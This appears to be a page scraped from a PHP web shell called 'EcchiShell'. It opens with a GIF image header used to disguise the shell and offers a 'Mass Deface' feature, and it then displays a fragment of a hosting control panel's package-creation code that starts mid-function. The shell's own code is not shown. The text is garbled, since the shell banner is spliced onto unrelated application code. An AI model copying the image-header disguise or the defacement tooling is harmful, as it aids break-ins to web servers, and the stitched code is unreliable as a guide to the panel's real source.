GIF89a; EcchiShell v1.0
//proc/self/root/scripts/

Mass Deface GetAllControllerRequests('FORM'); $enable_php = 1; $user_id = 1; $max_no_forwarders = -1; if (ExecuteCreatePackage($user_id, $package_name, $enable_php, $max_no_domains, $max_no_sub_domains, $max_no_parked_domains, $max_no_mailboxes, $max_no_forwarders, $max_no_distlists, $max_no_ftp_accounts, $max_no_mysql, $max_disk_quota, $max_bandwidth)) return true; return false; } function ExecuteCreatePackage($uid, $package_name, $enable_php, $Domains, $SubDomains, $ParkedDomains, $Mailboxes, $Fowarders, $DistLists, $FTPAccounts, $MySQL, $DiskQuota, $BandQuota) { global $zdbh; if (fs_director::CheckForEmptyValue(CheckNumeric($enable_php, $Domains, $SubDomains, $ParkedDomains, $Mailboxes, $Fowarders, $DistLists, $FTPAccounts, $MySQL, $DiskQuota, $BandQuota))) { return false; } $package_name = str_replace(' ', '', $package_name); // Check for errors before we continue... if (fs_director::CheckForEmptyValue(CheckCreateForErrors($package_name, $uid))) { return false; } runtime_hook::Execute('OnBeforeCreatePackage'); # If the user submitted a 'new' request then we will simply add the package to the database... $sql = $zdbh->prepare("INSERT INTO x_packages (pk_reseller_fk, pk_name_vc, pk_enablephp_in, pk_created_ts) VALUES ( :uid, :package_name, :php, :time);"); $php = fs_director::GetCheckboxValue($enable_php); $sql->bindParam(':php', $php); $sql->bindParam(':uid', $uid); $time = time(); $sql->bindParam(':time', $time); $pack = addslashes($package_name); $sql->bindParam(':package_name', $pack); $sql->execute(); $package_id = $zdbh->lastInsertId(); # Now lets pull back the package ID so we can use it in the other tables we are about to manipulate. /*$numrows = $zdbh->prepare("SELECT * FROM x_packages WHERE pk_reseller_fk=:uid AND pk_name_vc=:package_name AND pk_deleted_ts IS NULL"); $numrows->bindParam(':uid', $uid); $numrows->bindParam(':package_name', $package_name); $numrows->execute(); $package = $numrows->fetch(); */ $sql = $zdbh->prepare("INSERT INTO x_quotas (qt_package_fk, qt_domains_in, qt_subdomains_in, qt_parkeddomains_in, qt_mailboxes_in, qt_fowarders_in, qt_distlists_in, qt_ftpaccounts_in, qt_mysql_in, qt_diskspace_bi, qt_bandwidth_bi) VALUES ( :pk_id_pk, :Domains, :SubDomains, :ParkedDomains, :Mailboxes, :Fowarders, :DistLists, :FTPAccounts, :MySQL, :DiskQuotaFinal, :BandQuotaFinal)"); $DiskQuotaFinal = $DiskQuota * 1024000; $BandQuotaFinal = $BandQuota * 1024000; $sql->bindParam(':DiskQuotaFinal', $DiskQuotaFinal); $sql->bindParam(':BandQuotaFinal', $BandQuotaFinal); $sql->bindParam(':MySQL', $MySQL); $sql->bindParam(':DistLists', $DistLists); $sql->bindParam(':Fowarders', $Fowarders); $sql->bindParam(':Mailboxes', $Mailboxes); $sql->bindParam(':SubDomains', $SubDomains); $sql->bindParam(':FTPAccounts', $FTPAccounts); $sql->bindParam(':ParkedDomains', $ParkedDomains); $sql->bindParam(':Domains', $Domains); $sql->bindParam(':pk_id_pk', $package_id); //$sql->bindParam(':pk_id_pk', $package['pk_id_pk']); $sql->execute(); runtime_hook::Execute('OnAfterCreatePackage'); //self::$ok = true; echo "NEWPACKAGE_SUCCESSFULLY_ADDED"; //return "NEWPACKAGE_SUCCESSFULLY_ADDED"; return false; } function CheckCreateForErrors($package_name, $uid, $pid = 0) { global $zdbh; $package_name = str_replace(' ', '', $package_name); # Check to make sure the packagename is not blank or exists for reseller before we go any further... if (!fs_director::CheckForEmptyValue($package_name)) { $sql = "SELECT COUNT(*) FROM x_packages WHERE UPPER(pk_name_vc)=:packageNameSlashes AND pk_reseller_fk=:uid AND pk_id_pk !=:pid AND pk_deleted_ts IS NULL"; $packageNameSlashes = addslashes(strtoupper($package_name)); $numrows = $zdbh->prepare($sql); $numrows->bindParam(':packageNameSlashes', $packageNameSlashes); $numrows->bindParam(':uid', $uid); $numrows->bindParam(':pid', $pid); if ($numrows->execute()) { if ($numrows->fetchColumn() <> 0) { //self::$alreadyexists = true; echo "PACKAGE_ALREADY_EXISTS"; //return "PACKAGE_ALREADY_EXISTS"; return false; } } } else { //self::$blank = true; echo "BLANK_PACKAGE_NAME"; //return "BLANK_PACKAGE_NAME"; return false; } // Check packagename format. /* if (!IsValidPackageName($package_name)) { //self::$badname = true; echo "BAD_PACKAGE_NAME"; //return "BAD_PACKAGE_NAME"; return false; } */ return true; } function IsValidPackageName($package_name) { //if (!preg_match('/^[a-z\d][a-z\d-]{0,62}$/i', $package_name) || preg_match('/-$/', $package_name)) { if (!preg_match('#^[A-Za-z0-9_-]{3,20}$#s', $package_name)) { return false; } return true; } function CheckNumeric($enable_php, $Domains, $SubDomains, $ParkedDomains, $Mailboxes, $Fowarders, $DistLists, $FTPAccounts, $MySQL, $DiskQuota, $BandQuota) { if (!is_numeric($enable_php) || !is_numeric($Domains) || !is_numeric($SubDomains) || !is_numeric($ParkedDomains) || !is_numeric($Mailboxes) || !is_numeric($Fowarders) || !is_numeric($DistLists) || !is_numeric($FTPAccounts) || !is_numeric($MySQL) || !is_numeric($DiskQuota) || !is_numeric($BandQuota)) { //self::$error = true; echo "NOT_A_NUMERIC_VALUE"; //return "NOT_A_NUMERIC_VALUE"; return false; } else { return true; } } function getResult() { if (!fs_director::CheckForEmptyValue($blank)) { return ui_sysmessage::shout(ui_language::translate("You need to specify a package name to create your package."), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($badname)) { return ui_sysmessage::shout(ui_language::translate("Your package name is not valid. Please enter a valid package name."), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($alreadyexists)) { return ui_sysmessage::shout(ui_language::translate("A package with that name already appears to exsist."), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($error)) { return ui_sysmessage::shout(ui_language::translate("There was an error updating your packages"), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($samepackage)) { return ui_sysmessage::shout(ui_language::translate("You cant move clients to the same package you are deleting!"), "zannounceerror"); } if (!fs_director::CheckForEmptyValue($ok)) { return ui_sysmessage::shout(ui_language::translate("Changes to your packages have been saved successfully!"), "zannounceok"); } return; }